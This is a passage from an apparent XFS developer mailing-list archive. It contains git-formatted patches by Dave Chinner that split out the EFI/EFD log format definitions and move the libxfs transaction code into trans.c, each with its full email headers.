((mp)->m_qflags & XFS_GQUOTA_ENFD) +#define XFS_IS_PQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_PQUOTA_ENFD) + +/* + * Incore only flags for quotaoff - these bits get cleared when quota(s) + * are in the process of getting turned off. These flags are in m_qflags but + * never in sb_qflags. + */ +#define XFS_UQUOTA_ACTIVE 0x1000 /* uquotas are being turned off */ +#define XFS_GQUOTA_ACTIVE 0x2000 /* gquotas are being turned off */ +#define XFS_PQUOTA_ACTIVE 0x4000 /* pquotas are being turned off */ +#define XFS_ALL_QUOTA_ACTIVE \ + (XFS_UQUOTA_ACTIVE | XFS_GQUOTA_ACTIVE | XFS_PQUOTA_ACTIVE) + +/* + * Checking XFS_IS_*QUOTA_ON() while holding any inode lock guarantees + * quota will be not be switched off as long as that inode lock is held. + */ +#define XFS_IS_QUOTA_ON(mp) ((mp)->m_qflags & (XFS_UQUOTA_ACTIVE | \ + XFS_GQUOTA_ACTIVE | \ + XFS_PQUOTA_ACTIVE)) +#define XFS_IS_OQUOTA_ON(mp) ((mp)->m_qflags & (XFS_GQUOTA_ACTIVE | \ + XFS_PQUOTA_ACTIVE)) +#define XFS_IS_UQUOTA_ON(mp) ((mp)->m_qflags & XFS_UQUOTA_ACTIVE) +#define XFS_IS_GQUOTA_ON(mp) ((mp)->m_qflags & XFS_GQUOTA_ACTIVE) +#define XFS_IS_PQUOTA_ON(mp) ((mp)->m_qflags & XFS_PQUOTA_ACTIVE) + +/* + * Flags to tell various functions what to do. Not all of these are meaningful + * to a single function. None of these XFS_QMOPT_* flags are meant to have + * persistent values (ie. their values can and will change between versions) + */ +#define XFS_QMOPT_DQALLOC 0x0000002 /* alloc dquot ondisk if needed */ +#define XFS_QMOPT_UQUOTA 0x0000004 /* user dquot requested */ +#define XFS_QMOPT_PQUOTA 0x0000008 /* project dquot requested */ +#define XFS_QMOPT_FORCE_RES 0x0000010 /* ignore quota limits */ +#define XFS_QMOPT_SBVERSION 0x0000040 /* change superblock version num */ +#define XFS_QMOPT_DOWARN 0x0000400 /* increase warning cnt if needed */ +#define XFS_QMOPT_DQREPAIR 0x0001000 /* repair dquot if damaged */ +#define XFS_QMOPT_GQUOTA 0x0002000 /* group dquot requested */ +#define XFS_QMOPT_ENOSPC 0x0004000 /* enospc instead of edquot (prj) */ + +/* + * flags to xfs_trans_mod_dquot to indicate which field needs to be + * modified. + */ +#define XFS_QMOPT_RES_REGBLKS 0x0010000 +#define XFS_QMOPT_RES_RTBLKS 0x0020000 +#define XFS_QMOPT_BCOUNT 0x0040000 +#define XFS_QMOPT_ICOUNT 0x0080000 +#define XFS_QMOPT_RTBCOUNT 0x0100000 +#define XFS_QMOPT_DELBCOUNT 0x0200000 +#define XFS_QMOPT_DELRTBCOUNT 0x0400000 +#define XFS_QMOPT_RES_INOS 0x0800000 + +/* + * flags for dqalloc. + */ +#define XFS_QMOPT_INHERIT 0x1000000 + +/* + * flags to xfs_trans_mod_dquot. + */ +#define XFS_TRANS_DQ_RES_BLKS XFS_QMOPT_RES_REGBLKS +#define XFS_TRANS_DQ_RES_RTBLKS XFS_QMOPT_RES_RTBLKS +#define XFS_TRANS_DQ_RES_INOS XFS_QMOPT_RES_INOS +#define XFS_TRANS_DQ_BCOUNT XFS_QMOPT_BCOUNT +#define XFS_TRANS_DQ_DELBCOUNT XFS_QMOPT_DELBCOUNT +#define XFS_TRANS_DQ_ICOUNT XFS_QMOPT_ICOUNT +#define XFS_TRANS_DQ_RTBCOUNT XFS_QMOPT_RTBCOUNT +#define XFS_TRANS_DQ_DELRTBCOUNT XFS_QMOPT_DELRTBCOUNT + + +#define XFS_QMOPT_QUOTALL \ + (XFS_QMOPT_UQUOTA | XFS_QMOPT_PQUOTA | XFS_QMOPT_GQUOTA) +#define XFS_QMOPT_RESBLK_MASK (XFS_QMOPT_RES_REGBLKS | XFS_QMOPT_RES_RTBLKS) + +#endif /* __XFS_QUOTA_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DCB858069 for ; Fri, 19 Jul 2013 01:45:49 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C3225304039 for ; Thu, 18 Jul 2013 23:45:49 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d54000d-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id brDocbnjb5303TbM for ; Thu, 18 Jul 2013 23:45:47 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45yhSADqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:44 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004Id-UN for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002KZ-TL for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 19/49] xfs: split out inode log item format definition Date: Fri, 19 Jul 2013 16:44:54 +1000 X-ASG-Orig-Subj: [PATCH 19/49] xfs: split out inode log item format definition Message-Id: <1374216324-8781-20-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216347 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The EFI/EFD item format definitions are shared with userspace. Split the out of header files that contain kernel only defintions to make it simple to shared them. Signed-off-by: Dave Chinner --- include/Makefile | 3 +- include/libxlog.h | 1 - include/xfs_extfree_item.h | 161 --------------------------------------------- include/xfs_log_format.h | 83 +++++++++++++++++++++++ 4 files changed, 85 insertions(+), 163 deletions(-) delete mode 100644 include/xfs_extfree_item.h diff --git a/include/Makefile b/include/Makefile index f5c50b7..ad2ac46 100644 --- a/include/Makefile +++ b/include/Makefile @@ -27,7 +27,8 @@ QAHFILES = libxfs.h libxlog.h \ xfs_cksum.h \ xfs_da_btree.h \ xfs_dinode.h xfs_dir2.h xfs_dir2_format.h \ - xfs_extfree_item.h xfs_ialloc.h xfs_ialloc_btree.h \ + xfs_ialloc.h \ + xfs_ialloc_btree.h \ xfs_icreate_item.h \ xfs_inode.h \ xfs_inum.h \ diff --git a/include/libxlog.h b/include/libxlog.h index 08f5dbb..ee23212 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -48,7 +48,6 @@ struct xlog { }; #include -#include #include /* diff --git a/include/xfs_extfree_item.h b/include/xfs_extfree_item.h deleted file mode 100644 index 375f68e..0000000 --- a/include/xfs_extfree_item.h +++ /dev/null @@ -1,161 +0,0 @@ -/* - * Copyright (c) 2000,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_EXTFREE_ITEM_H__ -#define __XFS_EXTFREE_ITEM_H__ - -struct xfs_mount; -struct kmem_zone; - -typedef struct xfs_extent { - xfs_dfsbno_t ext_start; - xfs_extlen_t ext_len; -} xfs_extent_t; - -/* - * Since an xfs_extent_t has types (start:64, len: 32) - * there are different alignments on 32 bit and 64 bit kernels. - * So we provide the different variants for use by a - * conversion routine. - */ - -typedef struct xfs_extent_32 { - __uint64_t ext_start; - __uint32_t ext_len; -} __attribute__((packed)) xfs_extent_32_t; - -typedef struct xfs_extent_64 { - __uint64_t ext_start; - __uint32_t ext_len; - __uint32_t ext_pad; -} xfs_extent_64_t; - -/* - * This is the structure used to lay out an efi log item in the - * log. The efi_extents field is a variable size array whose - * size is given by efi_nextents. - */ -typedef struct xfs_efi_log_format { - __uint16_t efi_type; /* efi log item type */ - __uint16_t efi_size; /* size of this item */ - __uint32_t efi_nextents; /* # extents to free */ - __uint64_t efi_id; /* efi identifier */ - xfs_extent_t efi_extents[1]; /* array of extents to free */ -} xfs_efi_log_format_t; - -typedef struct xfs_efi_log_format_32 { - __uint16_t efi_type; /* efi log item type */ - __uint16_t efi_size; /* size of this item */ - __uint32_t efi_nextents; /* # extents to free */ - __uint64_t efi_id; /* efi identifier */ - xfs_extent_32_t efi_extents[1]; /* array of extents to free */ -} __attribute__((packed)) xfs_efi_log_format_32_t; - -typedef struct xfs_efi_log_format_64 { - __uint16_t efi_type; /* efi log item type */ - __uint16_t efi_size; /* size of this item */ - __uint32_t efi_nextents; /* # extents to free */ - __uint64_t efi_id; /* efi identifier */ - xfs_extent_64_t efi_extents[1]; /* array of extents to free */ -} xfs_efi_log_format_64_t; - -/* - * This is the structure used to lay out an efd log item in the - * log. The efd_extents array is a variable size array whose - * size is given by efd_nextents; - */ -typedef struct xfs_efd_log_format { - __uint16_t efd_type; /* efd log item type */ - __uint16_t efd_size; /* size of this item */ - __uint32_t efd_nextents; /* # of extents freed */ - __uint64_t efd_efi_id; /* id of corresponding efi */ - xfs_extent_t efd_extents[1]; /* array of extents freed */ -} xfs_efd_log_format_t; - -typedef struct xfs_efd_log_format_32 { - __uint16_t efd_type; /* efd log item type */ - __uint16_t efd_size; /* size of this item */ - __uint32_t efd_nextents; /* # of extents freed */ - __uint64_t efd_efi_id; /* id of corresponding efi */ - xfs_extent_32_t efd_extents[1]; /* array of extents freed */ -} __attribute__((packed)) xfs_efd_log_format_32_t; - -typedef struct xfs_efd_log_format_64 { - __uint16_t efd_type; /* efd log item type */ - __uint16_t efd_size; /* size of this item */ - __uint32_t efd_nextents; /* # of extents freed */ - __uint64_t efd_efi_id; /* id of corresponding efi */ - xfs_extent_64_t efd_extents[1]; /* array of extents freed */ -} xfs_efd_log_format_64_t; - - -#ifdef __KERNEL__ - -/* - * Max number of extents in fast allocation path. - */ -#define XFS_EFI_MAX_FAST_EXTENTS 16 - -/* - * Define EFI flag bits. Manipulated by set/clear/test_bit operators. - */ -#define XFS_EFI_RECOVERED 1 -#define XFS_EFI_COMMITTED 2 - -/* - * This is the "extent free intention" log item. It is used - * to log the fact that some extents need to be free. It is - * used in conjunction with the "extent free done" log item - * described below. - */ -typedef struct xfs_efi_log_item { - xfs_log_item_t efi_item; - atomic_t efi_next_extent; - unsigned long efi_flags; /* misc flags */ - xfs_efi_log_format_t efi_format; -} xfs_efi_log_item_t; - -/* - * This is the "extent free done" log item. It is used to log - * the fact that some extents earlier mentioned in an efi item - * have been freed. - */ -typedef struct xfs_efd_log_item { - xfs_log_item_t efd_item; - xfs_efi_log_item_t *efd_efip; - uint efd_next_extent; - xfs_efd_log_format_t efd_format; -} xfs_efd_log_item_t; - -/* - * Max number of extents in fast allocation path. - */ -#define XFS_EFD_MAX_FAST_EXTENTS 16 - -extern struct kmem_zone *xfs_efi_zone; -extern struct kmem_zone *xfs_efd_zone; - -xfs_efi_log_item_t *xfs_efi_init(struct xfs_mount *, uint); -xfs_efd_log_item_t *xfs_efd_init(struct xfs_mount *, xfs_efi_log_item_t *, - uint); -int xfs_efi_copy_format(xfs_log_iovec_t *buf, - xfs_efi_log_format_t *dst_efi_fmt); -void xfs_efi_item_free(xfs_efi_log_item_t *); - -#endif /* __KERNEL__ */ - -#endif /* __XFS_EXTFREE_ITEM_H__ */ diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index 77a6024..d1e93d3 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -461,4 +461,87 @@ xfs_blft_from_flags(struct xfs_buf_log_format *blf) return (blf->blf_flags & XFS_BLFT_MASK) >> XFS_BLFT_SHIFT; } +/* + * EFI/EFD log format definitions + */ +typedef struct xfs_extent { + xfs_dfsbno_t ext_start; + xfs_extlen_t ext_len; +} xfs_extent_t; + +/* + * Since an xfs_extent_t has types (start:64, len: 32) + * there are different alignments on 32 bit and 64 bit kernels. + * So we provide the different variants for use by a + * conversion routine. + */ +typedef struct xfs_extent_32 { + __uint64_t ext_start; + __uint32_t ext_len; +} __attribute__((packed)) xfs_extent_32_t; + +typedef struct xfs_extent_64 { + __uint64_t ext_start; + __uint32_t ext_len; + __uint32_t ext_pad; +} xfs_extent_64_t; + +/* + * This is the structure used to lay out an efi log item in the + * log. The efi_extents field is a variable size array whose + * size is given by efi_nextents. + */ +typedef struct xfs_efi_log_format { + __uint16_t efi_type; /* efi log item type */ + __uint16_t efi_size; /* size of this item */ + __uint32_t efi_nextents; /* # extents to free */ + __uint64_t efi_id; /* efi identifier */ + xfs_extent_t efi_extents[1]; /* array of extents to free */ +} xfs_efi_log_format_t; + +typedef struct xfs_efi_log_format_32 { + __uint16_t efi_type; /* efi log item type */ + __uint16_t efi_size; /* size of this item */ + __uint32_t efi_nextents; /* # extents to free */ + __uint64_t efi_id; /* efi identifier */ + xfs_extent_32_t efi_extents[1]; /* array of extents to free */ +} __attribute__((packed)) xfs_efi_log_format_32_t; + +typedef struct xfs_efi_log_format_64 { + __uint16_t efi_type; /* efi log item type */ + __uint16_t efi_size; /* size of this item */ + __uint32_t efi_nextents; /* # extents to free */ + __uint64_t efi_id; /* efi identifier */ + xfs_extent_64_t efi_extents[1]; /* array of extents to free */ +} xfs_efi_log_format_64_t; + +/* + * This is the structure used to lay out an efd log item in the + * log. The efd_extents array is a variable size array whose + * size is given by efd_nextents; + */ +typedef struct xfs_efd_log_format { + __uint16_t efd_type; /* efd log item type */ + __uint16_t efd_size; /* size of this item */ + __uint32_t efd_nextents; /* # of extents freed */ + __uint64_t efd_efi_id; /* id of corresponding efi */ + xfs_extent_t efd_extents[1]; /* array of extents freed */ +} xfs_efd_log_format_t; + +typedef struct xfs_efd_log_format_32 { + __uint16_t efd_type; /* efd log item type */ + __uint16_t efd_size; /* size of this item */ + __uint32_t efd_nextents; /* # of extents freed */ + __uint64_t efd_efi_id; /* id of corresponding efi */ + xfs_extent_32_t efd_extents[1]; /* array of extents freed */ +} __attribute__((packed)) xfs_efd_log_format_32_t; + +typedef struct xfs_efd_log_format_64 { + __uint16_t efd_type; /* efd log item type */ + __uint16_t efd_size; /* size of this item */ + __uint32_t efd_nextents; /* # of extents freed */ + __uint64_t efd_efi_id; /* id of corresponding efi */ + xfs_extent_64_t efd_extents[1]; /* array of extents freed */ +} xfs_efd_log_format_64_t; + #endif /* __XFS_LOG_FORMAT_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 92F5C8071 for ; Fri, 19 Jul 2013 01:45:50 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 068C5AC010 for ; Thu, 18 Jul 2013 23:45:49 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed6690009-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id wJgoBFdsrQXJzAUW for ; Thu, 18 Jul 2013 23:45:47 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABSCIMGwUYEgRUXdIIkAQEFJy8zCBgxOQMbGYgPtiOOWRmFIAOpKoMkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:44 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004Iy-2x for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002L8-1p for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 26/49] libxfs: move transaction code to trans.c Date: Fri, 19 Jul 2013 16:45:01 +1000 X-ASG-Orig-Subj: [PATCH 26/49] libxfs: move transaction code to trans.c Message-Id: <1374216324-8781-27-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216347 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There is very little code left in xfs_trans.c. So little it is not worthtrying to share this file with kernel space any more. Move the code to libxfs/trans.c, and remove libxfs/xfs_trans.c. Signed-off-by: Dave Chinner --- libxfs/Makefile | 1 - libxfs/trans.c | 118 +++++++++++++++++++++++++++++++++++++++++++++ libxfs/xfs.h | 6 +++ libxfs/xfs_trans.c | 139 ----------------------------------------------------- 4 files changed, 124 insertions(+), 140 deletions(-) delete mode 100644 libxfs/xfs_trans.c diff --git a/libxfs/Makefile b/libxfs/Makefile index b19ff6c..64b5979 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -19,7 +19,6 @@ CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_mount.c xfs_rtalloc.c xfs_attr.c xfs_attr_remote.c \ crc32.c \ xfs_symlink.c \ - xfs_trans.c \ xfs_trans_resv.c CFILES += $(PKG_PLATFORM).c diff --git a/libxfs/trans.c b/libxfs/trans.c index 645952c..d0a91b1 100644 --- a/libxfs/trans.c +++ b/libxfs/trans.c @@ -1,5 +1,6 @@ /* * Copyright (c) 2000-2001,2005-2006 Silicon Graphics, Inc. + * Copyright (C) 2010 Red Hat, Inc. * All Rights Reserved. * * This program is free software; you can redistribute it and/or @@ -22,6 +23,123 @@ * Simple transaction interface */ +kmem_zone_t *xfs_log_item_desc_zone; + +/* + * Initialize the precomputed transaction reservation values + * in the mount structure. + */ +void +libxfs_trans_init( + struct xfs_mount *mp) +{ + xfs_trans_resv_calc(mp, &mp->m_reservations); +} + +/* + * Add the given log item to the transaction's list of log items. + * + * The log item will now point to its new descriptor with its li_desc field. + */ +void +libxfs_trans_add_item( + struct xfs_trans *tp, + struct xfs_log_item *lip) +{ + struct xfs_log_item_desc *lidp; + + ASSERT(lip->li_mountp == tp->t_mountp); + ASSERT(lip->li_ailp == tp->t_mountp->m_ail); + + lidp = calloc(sizeof(struct xfs_log_item_desc), 1); + if (!lidp) { + fprintf(stderr, _("%s: lidp calloc failed (%d bytes): %s\n"), + progname, (int)sizeof(struct xfs_log_item_desc), + strerror(errno)); + exit(1); + } + + lidp->lid_item = lip; + lidp->lid_flags = 0; + list_add_tail(&lidp->lid_trans, &tp->t_items); + + lip->li_desc = lidp; +} + +/* + * Unlink and free the given descriptor. + */ +void +libxfs_trans_del_item( + struct xfs_log_item *lip) +{ + list_del_init(&lip->li_desc->lid_trans); + free(lip->li_desc); + lip->li_desc = NULL; +} + +/* + * Roll from one trans in the sequence of PERMANENT transactions to + * the next: permanent transactions are only flushed out when + * committed with XFS_TRANS_RELEASE_LOG_RES, but we still want as soon + * as possible to let chunks of it go to the log. So we commit the + * chunk we've been working on and get a new transaction to continue. + */ +int +libxfs_trans_roll( + struct xfs_trans **tpp, + struct xfs_inode *dp) +{ + struct xfs_trans *trans; + unsigned int logres, count; + int error; + + /* + * Ensure that the inode is always logged. + */ + trans = *tpp; + xfs_trans_log_inode(trans, dp, XFS_ILOG_CORE); + + /* + * Copy the critical parameters from one trans to the next. + */ + logres = trans->t_log_res; + count = trans->t_log_count; + *tpp = xfs_trans_dup(trans); + + /* + * Commit the current transaction. + * If this commit failed, then it'd just unlock those items that + * are not marked ihold. That also means that a filesystem shutdown + * is in progress. The caller takes the responsibility to cancel + * the duplicate transaction that gets returned. + */ + error = xfs_trans_commit(trans, 0); + if (error) + return (error); + + trans = *tpp; + + /* + * Reserve space in the log for th next transaction. + * This also pushes items in the "AIL", the list of logged items, + * out to disk if they are taking up space at the tail of the log + * that we want to use. This requires that either nothing be locked + * across this call, or that anything that is locked be logged in + * the prior and the next transactions. + */ + error = xfs_trans_reserve(trans, 0, logres, 0, + XFS_TRANS_PERM_LOG_RES, count); + /* + * Ensure that the inode is in the new transaction and locked. + */ + if (error) + return error; + + xfs_trans_ijoin(trans, dp, 0); + return 0; +} + xfs_trans_t * libxfs_trans_alloc( xfs_mount_t *mp, diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 66fca85..7149c09 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -235,12 +235,14 @@ roundup_pow_of_two(uint v) #define xfs_mod_incore_sb libxfs_mod_incore_sb #define xfs_trans_alloc libxfs_trans_alloc +#define xfs_trans_add_item libxfs_trans_add_item #define xfs_trans_bhold libxfs_trans_bhold #define xfs_trans_binval libxfs_trans_binval #define xfs_trans_bjoin libxfs_trans_bjoin #define xfs_trans_brelse libxfs_trans_brelse #define xfs_trans_commit libxfs_trans_commit #define xfs_trans_cancel libxfs_trans_cancel +#define xfs_trans_del_item libxfs_trans_del_item #define xfs_trans_dup libxfs_trans_dup #define xfs_trans_get_buf libxfs_trans_get_buf #define xfs_trans_getsb libxfs_trans_getsb @@ -248,12 +250,14 @@ roundup_pow_of_two(uint v) #define xfs_trans_ihold libxfs_trans_ihold #define xfs_trans_ijoin libxfs_trans_ijoin #define xfs_trans_ijoin_ref libxfs_trans_ijoin_ref +#define xfs_trans_init libxfs_trans_init #define xfs_trans_inode_alloc_buf libxfs_trans_inode_alloc_buf #define xfs_trans_log_buf libxfs_trans_log_buf #define xfs_trans_log_inode libxfs_trans_log_inode #define xfs_trans_mod_sb libxfs_trans_mod_sb #define xfs_trans_read_buf libxfs_trans_read_buf #define xfs_trans_read_buf_map libxfs_trans_read_buf_map +#define xfs_trans_roll libxfs_trans_roll #define xfs_trans_get_buf_map libxfs_trans_get_buf_map #define xfs_trans_reserve libxfs_trans_reserve @@ -373,6 +377,8 @@ void xfs_mount_common(xfs_mount_t *, xfs_sb_t *); /* * logitem.c and trans.c prototypes */ +void xfs_trans_init(struct xfs_mount *); +int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); /* xfs_trans_item.c */ void xfs_trans_add_item(struct xfs_trans *, struct xfs_log_item *); diff --git a/libxfs/xfs_trans.c b/libxfs/xfs_trans.c deleted file mode 100644 index 2daf545..0000000 --- a/libxfs/xfs_trans.c +++ /dev/null @@ -1,139 +0,0 @@ -/* - * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. - * Copyright (C) 2010 Red Hat, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#include - -kmem_zone_t *xfs_trans_zone; -kmem_zone_t *xfs_log_item_desc_zone; - -/* - * Initialize the precomputed transaction reservation values - * in the mount structure. - */ -void -xfs_trans_init( - struct xfs_mount *mp) -{ - xfs_trans_resv_calc(mp, &mp->m_reservations); -} - -/* - * Add the given log item to the transaction's list of log items. - * - * The log item will now point to its new descriptor with its li_desc field. - */ -void -xfs_trans_add_item( - struct xfs_trans *tp, - struct xfs_log_item *lip) -{ - struct xfs_log_item_desc *lidp; - - ASSERT(lip->li_mountp == tp->t_mountp); - ASSERT(lip->li_ailp == tp->t_mountp->m_ail); - - lidp = kmem_zone_zalloc(xfs_log_item_desc_zone, KM_SLEEP | KM_NOFS); - - lidp->lid_item = lip; - lidp->lid_flags = 0; - list_add_tail(&lidp->lid_trans, &tp->t_items); - - lip->li_desc = lidp; -} - -STATIC void -xfs_trans_free_item_desc( - struct xfs_log_item_desc *lidp) -{ - list_del_init(&lidp->lid_trans); - kmem_zone_free(xfs_log_item_desc_zone, lidp); -} - -/* - * Unlink and free the given descriptor. - */ -void -xfs_trans_del_item( - struct xfs_log_item *lip) -{ - xfs_trans_free_item_desc(lip->li_desc); - lip->li_desc = NULL; -} - -/* - * Roll from one trans in the sequence of PERMANENT transactions to - * the next: permanent transactions are only flushed out when - * committed with XFS_TRANS_RELEASE_LOG_RES, but we still want as soon - * as possible to let chunks of it go to the log. So we commit the - * chunk we've been working on and get a new transaction to continue. - */ -int -xfs_trans_roll( - struct xfs_trans **tpp, - struct xfs_inode *dp) -{ - struct xfs_trans *trans; - unsigned int logres, count; - int error; - - /* - * Ensure that the inode is always logged. - */ - trans = *tpp; - xfs_trans_log_inode(trans, dp, XFS_ILOG_CORE); - - /* - * Copy the critical parameters from one trans to the next. - */ - logres = trans->t_log_res; - count = trans->t_log_count; - *tpp = xfs_trans_dup(trans); - - /* - * Commit the current transaction. - * If this commit failed, then it'd just unlock those items that - * are not marked ihold. That also means that a filesystem shutdown - * is in progress. The caller takes the responsibility to cancel - * the duplicate transaction that gets returned. - */ - error = xfs_trans_commit(trans, 0); - if (error) - return (error); - - trans = *tpp; - - /* - * Reserve space in the log for th next transaction. - * This also pushes items in the "AIL", the list of logged items, - * out to disk if they are taking up space at the tail of the log - * that we want to use. This requires that either nothing be locked - * across this call, or that anything that is locked be logged in - * the prior and the next transactions. - */ - error = xfs_trans_reserve(trans, 0, logres, 0, - XFS_TRANS_PERM_LOG_RES, count); - /* - * Ensure that the inode is in the new transaction and locked. - */ - if (error) - return error; - - xfs_trans_ijoin(trans, dp, 0); - return 0; -} -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 56F21807D for ; Fri, 19 Jul 2013 01:45:51 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 44E8F304039 for ; Thu, 18 Jul 2013 23:45:51 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d54000e-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id wKwHtqD4XIQMjtuB for ; Thu, 18 Jul 2013 23:45:49 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45yhSADoX+HK4MkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net 